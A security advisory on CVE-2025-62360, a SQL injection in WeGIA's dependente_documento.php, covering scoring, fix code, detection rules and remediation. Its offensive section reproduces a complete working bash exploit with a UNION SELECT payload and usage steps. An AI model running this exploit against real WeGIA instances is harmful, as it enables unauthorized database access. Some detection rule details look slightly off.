CVE-2025-62360

Executive Summary

CVE-2025-62360 is a critical SQL Injection vulnerability identified in WeGIA, an open-source Web Manager for Institutions, prior to version 3.5.1. The flaw resides in the /html/funcionario/dependente_documento.php endpoint, specifically within the id_dependente parameter. An authenticated attacker can exploit this vulnerability to execute arbitrary SQL commands, leading to the compromise of database confidentiality, integrity, and availability. A public proof-of-concept (PoC) exploit script is available, demonstrating the ease of exploitation. The vendor has released a patch in version 3.5.1.

Supply Chain & Package Security

WeGIA is a PHP-based web application. The vulnerability is not in a package manager dependency (NPM, PyPI, Go, Ruby) but in the application's own source code. The primary supply chain risk is the use of an outdated, unpatched version of the application. Organizations should ensure they are using the latest patched version (3.5.1) from the official GitHub repository.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - The attacker must have valid user credentials.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Complete database disclosure is possible.
• Integrity (I): High (H) - Database records can be modified or deleted.
• Availability (A): High (H) - Database availability can be compromised.

Threat Level: High. The availability of a public exploit and the low complexity of the attack make this a significant threat to any unpatched WeGIA instance.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the id_dependente parameter of the dependente_documento.php script. The application fails to properly sanitize or parameterize user input before using it in a SQL query.

The vulnerable code likely constructs a SQL query similar to:

SELECT * FROM documentos WHERE id_dependente = $_POST['id_dependente'];

An attacker can inject arbitrary SQL by providing a crafted value for id_dependente. The public exploit demonstrates this by injecting a UNION SELECT statement to extract database version information.

The exploit script works as follows:

1. Authentication: The attacker provides valid credentials to the login endpoint (/html/login.php).
2. Session Handling: The script extracts the session cookie from the login response.
3. Exploitation: The script sends a POST request to /html/funcionario/dependente_documento.php with the malicious payload in the id_dependente parameter. The payload 1 UNION SELECT 'a','b',$payload;# is used to inject a UNION-based SQL query.
4. Data Extraction: The script parses the JSON response to extract the injected data (e.g., database version).

Vulnerable vs. Patched Code

Vulnerable Code (Pre-3.5.1): The vulnerable code likely uses a direct concatenation of user input into a SQL query.

// Vulnerable example (conceptual)
$id_dependente = $_POST['id_dependente'];
$query = "SELECT * FROM documentos WHERE id_dependente = " . $id_dependente;
$result = mysqli_query($conn, $query);

Patched Code (3.5.1): The patched version uses parameterized queries (prepared statements) to prevent SQL injection.

// Patched example (conceptual)
$id_dependente = $_POST['id_dependente'];
$stmt = $conn->prepare("SELECT * FROM documentos WHERE id_dependente = ?");
$stmt->bind_param("i", $id_dependente);
$stmt->execute();
$result = $stmt->get_result();

Exploitation & Lab Setup

Red Team (Offensive)

The following exploit script is publicly available and can be used to test the vulnerability.

Exploit Script (from Exploit-DB):

#!/bin/bash

# Exploit Title: WeGIA 3.5.0 - SQL Injection
# Date: 2025-10-14
# Exploit Author: Onur Demir (OnurDemir-Dev)
# Vendor Homepage: https://www.wegia.org
# Software Link: https://github.com/LabRedesCefetRJ/WeGIA/
# Version: <=3.5.0
# Tested on: Local Linux (localhost/127.0.0.1)
# CVE : CVE-2025-62360
# Advisory / Reference: https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mwvv-q9gh-gwxm
# Notes: Run this script ONLY on a local/test instance you own or are authorized to test.
# ============================================================

if [ -z "$4" ]; then
    # Usage prompt if required arguments are missing
    echo "Usage: $0 <target-url> <user> <password> <payload>"
    echo "Example: $0 http://127.0.0.1/WeGIA/ \"admin\" \"wegia\" \"version()\""
    exit 1
fi

url="$1"
user="$2"
pass="$3"
payload="$4"

# Check if URL format is valid (basic regex)
# This is a basic sanity check for the URL string format.
if ! [[ "$url" =~ ^http?://[a-zA-Z0-9._-]+ ]]; then
  echo "⚠️  Invalid URL format: $url"
  exit 1
fi

# Perform login request (multipart/form)
# -s silent, -w "%{http_code}" will append HTTP code to response
# -D - prints response headers to stdout, combined with body in login_response
login_response=$(curl -s -w "%{http_code}" "$url/html/login.php" \
  -D - \
  -X POST \
  -F "cpf=${user}"\
  -F "pwd=${pass}")

# Extract last 3 chars as HTTP status code from the combined response
login_status_code="${login_response: -3}"

# If login did not return a 302 redirect, handle error cases
if [ "$login_status_code" -ne 302 ]; then

    # If curl couldn't connect, curl may return 0 or empty status code
    if [ "$login_status_code" -eq 0 ] || [ -z "$login_status_code" ]; then
        echo "❌ Unable to reach URL: $url"
        exit 1
    fi

    # Otherwise report unexpected login status
    echo "Error: Received HTTP status code from login: $login_status_code"
    exit 1
fi

# Extract the Location header from the login response headers
# Using awk to find the first Location header (case-insensitive)
login_location=$(echo "$login_response" | awk -F': ' 'BEGIN{IGNORECASE=1} /^Location:/{print substr($0, index($0,$2)); exit}' | tr -d '\r')

# Check username and password correctness using Location header content
# If the Location does not include home.php, consider login failed.
if [[ "$login_location" != *"home.php"* ]]; then

    # If Location contains "erro" assume wrong credentials; otherwise unknown error
    if [[ "$login_location" == *"erro"* ]]; then
        echo "Error: Wrong username or password!"
    else
        echo "Error: Unknown Error!"
    fi

    exit 1
fi


# Extract Set-Cookie header (first cookie) and keep only "name=value"
# tr -d '\r' removes possible CR characters
set_cookie=$(echo "$login_response" | awk -F': ' 'BEGIN{IGNORECASE=1} /^Set-Cookie:/{print substr($0, index($0,$2)); exit}' | tr -d '\r')
set_cookie=$(echo "$set_cookie" | cut -d';' -f1)


#Exploit Vulnarbility
# (The following performs the SQL injection request using the cookie obtained above)
# The payload variable is used verbatim in the id_dependente parameter.
# Ensure payload is provided safely in the script invocation and that you are authorized to test.

# Execute the curl command and capture the output and status code
response=$(curl -s -w "%{http_code}" "$url/html/funcionario/dependente_documento.php" -d "id_dependente=1 UNION+SELECT 'a','b',$payload;#" -b "$set_cookie;" -H "Content-Type: application/x-www-form-urlencoded")

# Extract the HTTP status code (last 3 characters)
status_code="${response: -3}"


# Extract the body (everything except the last 3 characters)
body="${response:0:-3}"


# If the exploit request returned HTTP 200, try to extract id_doc
if [ "$status_code" -eq 200 ]; then

    # Prefer a robust JSON extractor if available; this line uses grep -Po to capture the id_doc value including quotes.
    # Note: This grep returns the quoted string (e.g. "11.8.3-MariaDB-1+b1 from Debian").
    clear_response=$(echo "$body" | grep -Po '"id_doc": *\K"[^"]*"')

    # Print the extracted value (or empty if not found)
    echo "$clear_response"
else
    # Non-200 status handling
    echo "Error: Received HTTP status code $status_code"
fi

Usage:

1. Save the script as exploit.sh.
2. Make it executable: chmod +x exploit.sh.
3. Run it with the target URL, username, password, and SQL payload:

   ./exploit.sh http://target-wegia/ admin wegia "version()"
   

   This will extract the database version.

Lab Setup:

1. Deploy a vulnerable WeGIA instance (version <= 3.5.0) using Docker or a local LAMP stack.
2. Ensure the application is accessible on http://127.0.0.1/WeGIA/.
3. Use default credentials (e.g., admin/wegia) if available, or create a test user.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /html/funcionario/dependente_documento.php with unusual id_dependente parameters containing SQL keywords (e.g., UNION, SELECT, OR, AND, --, #).
• Look for HTTP POST requests to the vulnerable endpoint with a Content-Type of application/x-www-form-urlencoded.
• Correlate failed login attempts followed by exploitation attempts.

Prevention:

• Immediately upgrade to WeGIA version 3.5.1 or later.
• Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Apply the principle of least privilege to the database user used by the application.
• Conduct regular code reviews and security testing.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /html/funcionario/dependente_documento.php with id_dependente parameter containing SQL injection patterns.
  • HTTP responses from the vulnerable endpoint containing unexpected data (e.g., database version, table names) in the JSON response.
• Host IOCs:
  • Unusual database queries in the database server logs.
  • Web server access logs showing requests to the vulnerable endpoint with suspicious parameters.
• File IOCs:
  • The exploit script itself (exploit.sh or similar).
  • Temporary files created by the attacker on the web server.

Detection Engineering

YARA Rule

rule CVE_2025_62360_WeGIA_SQLi {
    meta:
        description = "Detects exploit attempts for CVE-2025-62360 in WeGIA"
        author = "Valters IT"
        date = "2025-10-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-62360"
        hash = "0"
    strings:
        $s1 = "id_dependente=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "dependente_documento.php" nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: WeGIA SQL Injection Attempt (CVE-2025-62360)
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the id_dependente parameter in WeGIA.
author: Valters IT
date: 2025-10-15
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62360
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/html/funcionario/dependente_documento.php'
        cs-uri-query|contains: 'id_dependente='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION SELECT in a custom query (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-62360 WeGIA SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/html/funcionario/dependente_documento.php";
    http_uri;
    content:"id_dependente=";
    http_client_body;
    pcre:"/UNION.+SELECT/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Upgrade WeGIA to version 3.5.1 or later. This is the only complete fix.
2. Compensating Controls (if immediate upgrade is not possible):
   • Web Application Firewall (WAF): Deploy a WAF with rules to block SQL injection patterns in the id_dependente parameter.
   • Input Validation: Implement strict input validation on the id_dependente parameter to only allow numeric values.
   • Database Hardening: Ensure the database user used by WeGIA has the minimum necessary privileges (e.g., no DROP, CREATE, or FILE privileges).
3. Monitoring: Enable detailed logging for the web server and database. Monitor for the IOCs listed above.
4. Long-Term: Integrate static application security testing (SAST) and dynamic application security testing (DAST) into the development pipeline to prevent similar vulnerabilities.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: B80B9EC16964AFCA12F62CB7] */}